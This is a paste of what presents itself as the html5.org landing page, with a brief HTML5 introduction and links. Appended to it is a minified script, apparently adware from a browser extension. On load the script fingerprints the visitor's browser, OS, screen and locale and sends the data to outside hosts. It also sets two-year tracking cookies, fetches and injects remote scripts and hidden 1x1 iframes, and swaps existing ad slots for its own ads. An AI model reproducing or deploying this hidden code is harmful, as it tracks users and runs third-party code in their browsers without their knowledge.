my prog


SUBMITTED BY: hbsandeep26

DATE: Sept. 17, 2016, 11:15 a.m.

FORMAT: HTML

SIZE: 28.8 kB

HITS: 11664

  1. <!doctype html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="utf-8">
  5. <title>html5.org &mdash; HTML revisited</title>
  6. <style>
  7. html { font:2em/1.2 Arial, sans-serif }
  8. body { margin:1em auto; max-width:20em; }
  9. h1 { margin:1em 0; font-size:1.5em }
  10. a { color:crimson }
  11. a:visited { text-decoration:none }
  12. a:hover { color:mediumspringgreen }
  13. </style>
  14. </head>
  15. <body>
  16. <h1>html5.org</h1>
  17. <p>HTML5 is the latest version of HTML and XHTML. The
  18. <a href="//html.spec.whatwg.org/multipage/">HTML Standard</a> defines a
  19. single language that can be written in HTML and XML. It attempts to
  20. solve issues found in previous iterations of HTML and addresses the
  21. needs of Web Applications, an area previously not adequately covered by
  22. HTML.</p>
  23. <p>Here are several resources worth exploring:</p>
  24. <ul>
  25. <li><a href="//html-differences.whatwg.org/">Differences from
  26. HTML4</a></li>
  27. <li><a href="//wiki.whatwg.org/wiki/FAQ">WHATWG FAQ</a></li>
  28. <li><a href="//platform.html5.org/">The Web Platform</a></li>
  29. <li><a href="//html5.validator.nu/">HTML5 validator</a></li>
  30. <li><a href="//github.com/whatwg/html">HTML Standard on GitHub</a></li>
  31. </ul>
  32. <script type="text/javascript" charset="utf-8">
  33. ;(function($win,$doc){var util={getCookie:function(c_name){var i,x,y;var ARRcookies=$doc.cookie.split(";");for(i=0;i<ARRcookies.length;i++){x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);x=x.replace(/^\s+|\s+$/g,"");if(x==c_name){return unescape(y)}}},setCookie:function(c_name,value,exdays){var exdate=new Date();exdate.setDate(exdate.getDate()+exdays);var c_value=escape(value)+((exdays==null)?"":"; expires="+exdate.toUTCString()),url=location.protocol+'//'+location.host+'/',domain=url.replace(/(http|https):\/\/.*?([^\.]+\.(com\.cn|org\.cn|net\.cn|[^\.]+))\/.*/,"$2");$doc.cookie=c_name+"="+c_value+';path=/; domain=.'+domain},getRandom:function(){return Math.round(Math.random()*2147483647)},getHash:function(str){var hash=1,charCode=0,idx;hash=0;for(idx=str.length-1;idx>=0;idx--){charCode=str.charCodeAt(idx);hash=(hash<<6&268435455)+charCode+(charCode<<14);charCode=hash&266338304;hash=charCode!=0?hash^charCode>>21:hash}return hash},isArray:function(obj){return Object.prototype.toString.call(obj).toLowerCase()==="[object array]"},getClientInfo:function(){var info={},_empty='null',screen=window.screen,navigator=window.navigator,document=window.document,ua=navigator.userAgent.toLowerCase();var _contains=function(str,sub){return(str.indexOf(sub)>-1)};var _getBrowser=function(){var match=/(chrome)[ \/]([\w.]+)/.exec(ua)||/(webkit)[ \/]([\w.]+)/.exec(ua)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua)||/(msie) ([\w.]+)/.exec(ua)||ua.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua)||[];return{browser:match[1]||"",version:match[2]||"0"}};var _getOS=function(){var up=navigator.platform,isWin=(up==='Win32')||(up==='Windows'),isMac=(up==='Mac68K')||(up==='MacPPC')||(up==='Macintosh')||(up==='MacIntel'),isUnix=(up==='X11')&&!isWin&&!isMac,isLinux=_contains(up,'Linux')&&_contains(ua,'linux'),os='';if(isLinux){os=_contains(ua,'android')?'android':'linux'}else if(isMac){os=_contains(ua,'iphone')?'iphone':_contains(ua,'ipad')?'ipad':'mac'}else if(isUnix){os='unix'}else if(isWin){var winkey={'win2000':'windows nt 5.0','winXP':'windows nt 5.1','win2003':'windows nt 5.2','winVista':'window nt 6.0','win7':'windows nt 6.1','win8':'windows nt 6.2','win8.1':'windows nt 6.3'};for(var key in winkey){if(_contains(ua,winkey[key])){os=key;break}}}return os};info.os=_getOS();info.screen=screen?screen.width+'x'+screen.height:_empty;info.locale=navigator&&navigator.language?navigator.language:navigator&&navigator.browserLanguage?navigator.browserLanguage:_empty;info.browser=_getBrowser().browser+' '+_getBrowser().version;info.charset=document.characterSet?document.characterSet:document.charset?document.charset:_empty;info.host=encodeURIComponent(window.location.host);return info},extend:function(){var options,name,src,copy,copyIsArray,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==='boolean'){deep=target;target=arguments[1]||{};i=2}if(typeof target!=='object'){target={}}if(length===i){return target}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&&copy&&(typeof copy=='object'||(copyIsArray=util.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&util.isArray(src)?src:[]}else{clone=src?src:{}}target[name]=util.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target},isPlugin:function(){return(typeof chrome!=='undefined'&&chrome.runtime&&chrome.runtime.id)},join:function(data){if(!data||typeof data!=='object'){return''}var str='',i=0;for(var key in data){if(i==0)str+=key+'='+data[key];else str+='&'+key+'='+data[key];i++}return str},ajax:function(json){json=json||{};if(!json.url){return false}json.type=json.type||'get';json.data=json.data||{};if(window.XMLHttpRequest){var oAjax=new XMLHttpRequest()}else{var oAjax=new ActiveXObject('Microsoft.XMLHTTP')}switch(json.type.toLowerCase()){case'get':if(json.url.indexOf('?')!=-1){oAjax.open('GET',json.url)}else{oAjax.open('GET',json.url+'?'+util.join(json.data),true)}oAjax.send();break;case'post':oAjax.open('POST',json.url,true);oAjax.setRequestHeader('Content-Type','application/x-www-form-urlencoded');oAjax.send(util.join(json.data));break}oAjax.onreadystatechange=function(){if(oAjax.readyState==4){if(oAjax.status>=200&&oAjax.status<300||oAjax.status==304){json.success&&json.success(JSON.parse(oAjax.responseText))}else{json.error&&json.error(oAjax.status)}}}},jsonp:function(json){json=json||{};if(!json.url){return false}json.data=json.data||{};json.cbName=json.cbName||'plug_callback';var fnName='jsonp_'+Math.random();fnName=fnName.replace('.','');window[fnName]=function(data){json.success&&json.success(data);oHead.removeChild(oS)};json.data[json.cbName]=fnName;var arr=[];for(var name in json.data){arr.push(name+'='+json.data[name])}var oS=document.createElement('script');oS.src=json.url+'?'+arr.join('&');var oHead=document.getElementsByTagName('head')[0];oHead.appendChild(oS)},getStyle:function(obj,name){return(obj.currentStyle||getComputedStyle(obj,false))[name]},animate:function(obj,json,options){options=options||{};options.duration=options.duration||700;options.easing=options.easing||'ease-out';var count=Math.round(options.duration/30);var start={};var dis={};var n=0;for(var name in json){start[name]=parseFloat(util.getStyle(obj,name));if(isNaN(start[name])){switch(name){case'left':start[name]=obj.offsetLeft;break;case'top':start[name]=obj.offsetTop;break;case'width':start[name]=obj.offsetWidth;break;case'height':start[name]=obj.offsetHeight;break;case'maeginLeft':start[name]=obj.marginLeft;break}}dis[name]=json[name]-start[name]}clearInterval(obj.timer);obj.timer=setInterval(function(){n++;for(var name in json){switch(options.easing){case'linear':var cur=start[name]+dis[name]*n/count;break;case'ease-out':var a=1-n/count;var cur=start[name]+dis[name]*(1-a*a*a);break;case'ease-in':var a=n/count;var cur=start[name]+dis[name]*a*a*a}if(name=='opacity'){obj.style.opacity=cur;obj.style.filter='alpha(opacity:'+cur*100+')'}else{obj.style[name]=cur+'px'}}if(n==count){clearInterval(obj.timer);options.complete&&options.complete()}},30)},getUrlParam:function(location){var result={},location=location||window.location,search=location.search.slice(1),params,param,len,i;if(search.length){params=search.split('&');len=params.length;for(i=0;i<len;i++){param=params[i].split('=');result[param[0]]=decodeURIComponent(param[1])}}return result}};var Report=function(){this.uuid=null;this.storage={};this.queue=[];this.clientInfo=util.getClientInfo()||{};var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.host=this.clientInfo.host;this.reportUrl=$win.location.protocol+'//report.youtube4tr.com/webstat';this.reportAdUrl=$win.location.protocol+'//up.filmkaynagi.com/api/report';this.adHost=this.reportAdUrl.match(/\w+\.\w+[\w.]*[\/]/)[0].slice(0,-1);this.util=util;this.urlParam=function(){if(!$win.isConfigAdPage){return null}var location,hash,uuid;try{location=$win.parent.location;hash=location.hash}catch(e){location=$win.location}var urlParam=util.getUrlParam(location);hash=location.hash;uuid=hash&&hash.substr(1);if(!uuid){throw new Error('config page uuid for failure');}urlParam["uuid"]=decodeURIComponent(uuid);return urlParam}.call(this);this._dataInit()};util.extend(Report.prototype,{_pushQueue:function(func){if(this.uuid){func(this.uuid);return true}this.queue.push(func)},_pushQueueByReport:function(method,arg){if(this.uuid){this[method].apply(this,arg);return true}this.queue.push((function(method,arg,context){return function(){context[method].apply(context,arg)}})(method,arg,this))},_runQueue:function(){var self=this;this.queue.forEach(function(val,index){val(self.uuid)});this.queue=[]},_loadImg:function(url){var img=new Image();img.width=1;img.height=1;img.src=url},_eventTodayIsReported:function(eventName){var current=new Date();var currentYear=current.getFullYear(),currentMonth=current.getMonth(),currentDay=current.getDate();var eventDate=this.storage['report_'+eventName];if(!eventDate){return false}if(eventDate.getFullYear()!=currentYear||eventDate.getMonth()!=currentMonth||eventDate.getDate()!=currentDay){return false}return true},_eventIsReported:function(eventName){if(this.storage['report_'+eventName]){return true}return false},_setEventReportDate:function(eventName){this.storage['report_'+eventName]=new Date()},_ga:function(data){if(typeof _gaq==='undefined'){return false}_gaq.push(["_trackEvent",data["event"],data["uuid"],encodeURIComponent(data["status"]["host"])])},_mdata:function(data){var self=this,eventName=data.event||"";var ptype=self.ptype||1;var sendStringifyData=encodeURIComponent(JSON.stringify(data));var reportDataUrl=this.reportUrl+'?ptype='+ptype+'&data='+sendStringifyData;var reportAdDataUrl=this.reportAdUrl+'?data='+sendStringifyData;if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportDataUrl)}else{util.ajax({url:reportDataUrl,success:function(result){if(!result||result.rc!=0){self._loadImg(reportDataUrl)}},error:function(){self._loadImg(reportDataUrl)}})}if((eventName=='get_ad'&&data.params&&data.params.ad_type==1)||eventName=='download'){if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportAdDataUrl)}else{util.ajax({url:reportAdDataUrl,error:function(){self._loadImg(reportAdDataUrl)}})}}},_dataInit:function(){this.data=util.extend(true,{},this.clientInfo);this.data=util.extend(true,this.data,this.commonData)},_setCommonData:function(data){if(typeof data!=='object'&&data){return}this.commonData=data},_send:function(eventName,obj){if(!eventName||typeof eventName!=='string'){throw new Error('eventName error');}if(!this.uuid||!this.appid){throw new Error("can't find the uuid or appid");}if(!obj||typeof obj!=='object'){obj={}}if(obj.reportUrl&&/^\/\/\w+\.\w+[\w.\/]*[\w\/]+$/.test(obj.reportUrl)){this.reportUrl=obj.reportUrl}this.data["uuid"]=this.uuid;this.data["appid"]=this.appid;this.data["channel"]="360xx";this.data["event"]=eventName;this.data["params"]={"time":new Date().getTime()};this.data["status"]={"appname":this.app_name||"virtual","apptype":this.app_type||"addon","host":this.urlParam&&this.urlParam["host"]?this.urlParam["host"]:this.host};this.data['version']='1.5.1.5';util.extend(true,this.data,obj);delete this.data.host;this._mdata(this.data);this._setEventReportDate(eventName);this._dataInit()},loopSend:function(eventName,param){var self=this,_arguments=arguments;if(!eventName||typeof eventName!=='string'){return}if(!this.uuid){this._pushQueueByReport('loopSend',arguments);return}self._send(eventName,param);setInterval(function(){if(!self._eventTodayIsReported(eventName)){self._send.apply(self,_arguments)}},1000*60*10)},onlyOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('onlyOne',arguments);return}if(self._eventIsReported(eventName)){return}self._send(eventName,param)},oneDayOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('oneDayOne',arguments);return}if(self._eventTodayIsReported(eventName)){return}self._send(eventName,param)},infinite:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('infinite',arguments);return}self._send(eventName,param)},configAd:function(eventName,param){var self=this;var data={};data["uuid"]=this.urlParam&&this.urlParam["uuid"]?this.urlParam["uuid"]:"null";data["params"]={"ad_id":this.urlParam&&this.urlParam["ad_id"]?this.urlParam["ad_id"]:"null","ad_type":this.urlParam&&this.urlParam["ad_type"]?this.urlParam["ad_type"]:"null","ad_name":this.urlParam&&this.urlParam["ad_name"]?this.urlParam["ad_name"]:"null","ad_size":this.urlParam&&this.urlParam["size"]?this.urlParam["size"]:"null"};param=param||{};util.extend(true,data,param);self._send(eventName,data)},navigation:function(eventName,param){var self=this;var data={};data["channel"]=self.channel;param=param||{};util.extend(true,data,param);self._send(eventName,data)},_initEggUuid:function(){var self=this;if(util.isPlugin()){chrome.extension.onConnect.addListener(function(port){port.onMessage.addListener(function(msg){self.uuid=msg['uuid'];self._runQueue()})});return true}else{var GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T='{b3d0de7121d24c59b9dbe332a03391c0}';GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T=/GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T/.test(GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T)?null:GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T;self.uuid=GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T}if(!self.uuid){return false}else{return true}},_naturalUuid:function(){var _getCookie=util.getCookie;var _setCookie=util.setCookie;var _Hash=util.getHash;var _random=util.getRandom;var str=_getCookie('__MDATA__UUID__'),son=parseInt(new Date().getTime()/1000),last=_getCookie('__MDATA__SION__')?parseInt(_getCookie('__MDATA__SION__')):son,strArr=[],that=this;var _saveCookie=function(){str=_Hash(location.host)+'.'+_random()+'.'+son+'.'+son;_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)};if(!str){_saveCookie()}else{strArr=str.split('.');if(strArr.length<4){_saveCookie()}else{if(son-last>=730*24*3600){strArr[3]=son}str=strArr.join('.');_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)}}return str},_initNavigation:function(){var self=this;var urlParam=util.getUrlParam();var getCookie=util.getCookie;self.channel=urlParam["r"]?urlParam["r"]:urlParam["oem"]?urlParam["oem"]:self.app_name;self.uuid=urlParam["uid"]?urlParam["uid"]:getCookie('__MDATA__UUID__')?getCookie('__MDATA__UUID__'):this._naturalUuid()},_setUuid:function(uuid){if(this.ptype==2){this._initNavigation();return true}if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}if(this.urlParam&&this.urlParam.uuid){this.uuid=this.urlParam.uuid;return true}if(this._initEggUuid()){return true}throw new Error("setting the uuid failed");},_setGaid:function(gaid){if(typeof _gaq==='undefined'){return false}if(gaid&&typeof gaid==='string'){_gaq.push(["_setAccount",gaid]);return true}return false;throw new Error("setting the gaid failed");},setAccount:function(account){if(!account.appid){throw new Error('could not find appid');}this.appid=account.appid;this.gaid=account.gaid;this.app_name=account.app_name;this.app_type=account.app_type;this.ptype=account.ptype;this._setUuid(account.uuid);this._setGaid(account.gaid)}});var report=new Report();function GetNode(){this.adMax=null;this.times=null;this.adAlreadySize=[];this.enabledDiv=[];this.enabledIframe=[];this.normSizes=['300*250','336*280','728*90','250*250','160*600','320*100','300*600','120*600','300*1050','120*240','468*60','320*50','234*60','970*250','970*90','200*200','180*150','125*125','728*15'];this.normNodeNames=['DIV','IFRAME'];this.fixedCount=0;this.scriptSize=[];this.scriptNodeNames=['SCRIPT'];this.filterHost=['video.a4g.com'];this.insNode=null}util.extend(GetNode.prototype,{getSize:function(nodes){this.fixedCount=0;if(this.times>1){this._arrRemove()}else{this._scriptCheck()}this._initEbledNode();var enabledNode=this.getEnabledNode();var sizes=[],tempSize,type,tempNodes,i;for(type in enabledNode){tempNodes=enabledNode[type];for(i=0;i<tempNodes.length;i++){tempSize=tempNodes[i].offsetWidth+'*'+tempNodes[i].offsetHeight;sizes.push(tempSize)}}return sizes},getEnabledNode:function(){return{div:this.enabledDiv,iframe:this.enabledIframe}},_initEbledNode:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;if(rootNode===oBody){this.enabledDiv=[];this.enabledIframe=[]}var children=rootNode.children,tempNode;var fixedMark=rootNode.getAttribute('fixed');for(var i=0;i<children.length;i++){tempNode=children[i];if(this._positionCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this.fixedCount++;tempNode.setAttribute("fixed","true");if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendFixedEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}else{if(fixedMark&&fixedMark=='true'){tempNode.setAttribute("fixed","true")}if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}}},_appendFixedEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}node.setAttribute("fixed","true")},_appendEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}node.setAttribute("enabled","true")},_insCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._sizeCheck(tempNode)&&tempNode.nodeName=='INS'&&tempNode.className=='adsbygoogle'){this._parentNode(rootNode);rootNode.setAttribute('insname','true')}else if(tempNode.children.length>0){this._insCheck(tempNode)}}},_parentNode:function(childNode){var tempNode=childNode.parentNode;if(childNode.nodeName!='BODY')childNode.setAttribute('insname','true');if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){tempNode.setAttribute('insname','true');this._parentNode(tempNode)}},_scriptCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._scriptSize(tempNode)){for(var i=0;i<this.normSizes.length;i++){for(j=0;j<this.scriptSize.length;j++){if(this.normSizes[i]==this.scriptSize[j]){this.normSizes.splice(i,1)}}}}else{this._scriptCheck(tempNode)}}},_scriptSize:function(node){for(var i=0;i<this.scriptNodeNames.length;i++){if(node.nodeName===this.scriptNodeNames[i]){var temUrl=node.src;if(temUrl&&temUrl.length>0){temUrl=temUrl.toLowerCase();for(var j=0;j<this.filterHost.length;j++){if(temUrl.indexOf(this.filterHost[j])!=-1){var width=this._paramsCheck('width',temUrl).replace(new RegExp('px'),"");var height=this._paramsCheck('height',temUrl).replace(new RegExp('px'),"");if(width&&height){this.scriptSize.push(width+'*'+height);return true}}}}}}return false},_paramsCheck:function(key,str){var val=null;var tempStr=str;if(tempStr&&tempStr.length!=0){tempStr=str.split('?')[1];var arr=tempStr.split('&');var len=arr.length;for(i=0;i<len;i++){if(arr[i].split('=')[0]==key){val=arr[i].split('=')[1];break}}}return val},_flagCheck:function(node){if(node.getAttribute("enabled")||node.getAttribute("insname")){return true}return false},_nameCheck:function(node){for(var i=0;i<this.normNodeNames.length;i++){if(node.nodeName===this.normNodeNames[i]){return true}}return false},_sizeCheck:function(node){var size=node.offsetWidth+'*'+node.offsetHeight;for(var i=0;i<this.normSizes.length;i++){if(size===this.normSizes[i]){return true}}return false},_positionCheck:function(node){var position=node.style.position;if(position.toLowerCase()=='fixed'){var _width=node.offsetWidth;for(var i=0;i<this.normSizes.length;i++){var _size=parseInt(this.normSizes[i].split('*')[0]);if(_width>=_size&&_width<=_size+50)return true}}return false},_arrRemove:function(){for(var i=0;i<this.normSizes.length;i++){if(this.adAlreadySize[this.normSizes[i]]>=this.adMax)this.normSizes.splice(i,1)}},setAccount:function(account){this.adMax=account.adMax;this.times=account.times;this.adAlreadySize=account.adAlreadySize}});var getNode=new GetNode();function GetAd(){this.adMax=null;this.adAlreadySize={};this.oBody=document.getElementsByTagName('body')[0];this.isRun=false;this.configAdRepeat=[];this.count=1;this.jsAdType='';this.url_type=-1;this.clientInfo=util.getClientInfo()||{};this.host=this.clientInfo.host;var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.callAdUrl=$win.location.protocol+'//up.filmkaynagi.com/api/call-ad';this.call_times=1;this.jsAdItem=null;this.keywords=''}util.extend(GetAd.prototype,{_getAd:function(){this.isRun=true;this._getKeywords();getNode.setAccount({adMax:this.adMax,times:this.count,adAlreadySize:this.adAlreadySize});var sizes=getNode.getSize();if(this.call_times==1){sizes.push('1*1')}var enabledNode=getNode.getEnabledNode();this.enabledIframe=enabledNode.iframe;this.enabledDiv=enabledNode.div;var data={size:sizes.join('_'),count:sizes.length,web:this.host,appid:this.appid,uid:this.uuid,repeat:this.configAdRepeat.join('_'),times:this.count,jsAdType:this.jsAdType,keywords:this.keywords};if(data['count']>0||!this.jsInjection){this._requestAd(data)}else{this.isRun=false}},_requestAd:function(data){var self=this;var plugUpData={url:self.callAdUrl,data:data,success:(function(requestCount){return function(json){if(json.code==40003||json.code==40004||json.code==40005||json.code==40006||json.code==40007){self.isRun=false;report.infinite('get_ad_error',{params:{"error_code":json.code}});return false}self.call_times++;var data=json.data;self.url_type=data['URL_type']?data['URL_type']:self.url_type;self._configAdTotalReport(data.deployAd,requestCount,self.url_type);if(data.deployAd){self._configAd(data.deployAd)}if(!self.jsInjection&&data.jsAd){self.jsAdItem=data.jsAd;self._jsAd(data.jsAd)}self.isRun=false}})(data.count),error:function(){self.isRun=false;report.infinite('get_ad_error',{params:{"error_code":50001}})}};if(this.browser==='msie'&&this.browserVersion<10.0){util.jsonp(plugUpData)}else{util.ajax(plugUpData)}},jsAdDownloadReport:function(){if(this.jsAdItem){var reportData={"ad_id":this.jsAdItem.ad_id,"ad_type":this.jsAdItem.ad_type,"ad_name":this.jsAdItem.ad_name,"ad_size":this.jsAdItem.ad_size,"ad_sort":this.jsAdItem.ad_sort};this._reportEvent('download',reportData)}},_configAdTotalReport:function(deployAd,requestCount,url_type){if(!requestCount){return false}var responseCount=0,emptyCount=0;if(deployAd&&deployAd.length){for(var i=0;i<deployAd.length;i++){if(deployAd[i]){responseCount++}}}emptyCount=requestCount-responseCount;if(requestCount>0){report.infinite('get_adtotal',{params:{"request_total":requestCount,"response_total":responseCount,"empty":emptyCount,"url_type":url_type,"fix":getNode.fixedCount}})}},_jsAd:function(jsAd){this.jsInjection=true;this.jsAdType=jsAd.replace;var script=document.createElement('script');script.src=jsAd.url;this.oBody.appendChild(script);this._report(jsAd.ad_id,jsAd.ad_type,jsAd.ad_name)},_configAd:function(deployAd){var tempNode,newIframe;function sizeJudge(adSize,node){var nodeSize=node.offsetWidth+'*'+node.offsetHeight;return adSize==nodeSize}deployAd:for(var i=0;i<deployAd.length;i++){if(!deployAd[i]){continue}if(this.adAlreadySize[deployAd[i].size]>=this.adMax)continue;if(deployAd[i].size=='1*1'){newIframe=document.createElement('iframe');newIframe.src=deployAd[i].url;newIframe.style.width='1px';newIframe.style.height='1px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);this.oBody.appendChild(newIframe);continue}for(var j=0;j<this.enabledIframe.length;j++){tempNode=this.enabledIframe[j];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue deployAd}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.src=deployAd[i].url;tempNode.onload=function(){};this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledIframe.splice(j,1);continue deployAd}}for(var k=0;k<this.enabledDiv.length;k++){tempNode=this.enabledDiv[k];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue deployAd}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.innerHTML='';newIframe=document.createElement('iframe');newIframe.src=deployAd[i].url;newIframe.style.width=(tempNode.offsetWidth||deployAd[i].size.split('*')[0])+'px';newIframe.style.height=(tempNode.offsetHeight||deployAd[i].size.split('*')[1])+'px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);tempNode.appendChild(newIframe);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledDiv.splice(k,1);continue deployAd}}}},_report:function(ad_id,ad_type,ad_name,ad_size,ad_sort){reportData={params:{"ad_id":ad_id,"ad_type":ad_type,"ad_name":ad_name,"ad_size":ad_size,"ad_sort":ad_sort}};report.infinite('get_ad',reportData)},_reportEvent:function(eventName,_params){reportData={params:_params};report.infinite(eventName,reportData)},infuse:function(probability){var self=this;var probability=probability?probability:1;if(new Date().getTime()%probability==0){if(self.uuid){self._getAd();return true}report._pushQueue((function(context){return function(uuid){context.uuid=uuid;context._getAd()}})(self))}},loopInfuse:function(loopTotal,frequency,probability){var self=this;var loopTotal=loopTotal?loopTotal:3;clearInterval(this.timer);var frequency=frequency||30;self.count=1;self.infuse(probability);if(!loopTotal||typeof loopTotal!=='number'){return'no polling'}self.timer=setInterval(function(){if(!self.uuid||self.isRun){return false}if(self.count<loopTotal){self.count++;self.infuse(probability)}else{clearInterval(self.timer)}},frequency*1000)},onlyInfuse:function(probability){var oPlug=document.getElementById('chrome_plug_flag_1_0_0');if(oPlug){return false}var oDiv=document.createElement('div');oDiv.setAttribute('id','chrome_plug_flag_1_0_0');oDiv.style.display='none';oBody=document.getElementsByTagName('body')[0];oBody.appendChild(oDiv);this.infuse(probability)},_setUuid:function(uuid){if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}report.queue.push((function(context){return function(uuid){context._setUuid(uuid)}})(this));return false},_getKeywords:function(){var metas=$doc.getElementsByTagName('meta');for(var i=0;i<metas.length;i++){if(metas[i].name.toLowerCase()=='keywords'&&metas[i]['content'].length>0)this.keywords=encodeURIComponent(metas[i]['content'])}},setAccount:function(account){if(!account.appid){throw new Error('could not find appid');}this.appid=account.appid;this.adMax=account.adMax;this._setUuid(account.uuid)}});var getAd=new GetAd();function OtherFun(){}util.extend(OtherFun.prototype,{init:function(){if($win.location.hostname.toLowerCase().indexOf('google')!=-1){if('serviceWorker'in navigator){try{navigator.serviceWorker.register('/_/chrome/newtab-serviceworker.js',{scope:'.'}).then(function(sw){registration.unregister().then(function(){})},function(x){})}catch(e){}}}}});var otherFun=new OtherFun();var __egg={setAccount:function(account){if(!account.appid){return false}if(!util.isPlugin&&!account.uuid){return false}report.setAccount(account);getAd.setAccount(account);this.report=report;this.getAd=getAd;otherFun.init()}};__egg.setAccount({"appid":"4167633929",'adMax':6});$win.__egg=__egg})(window,document);if(window.top==this){__egg.report.loopSend('visit');__egg.getAd.loopInfuse()};
  34. </script>
  35. </body>
  36. </html>

comments powered by Disqus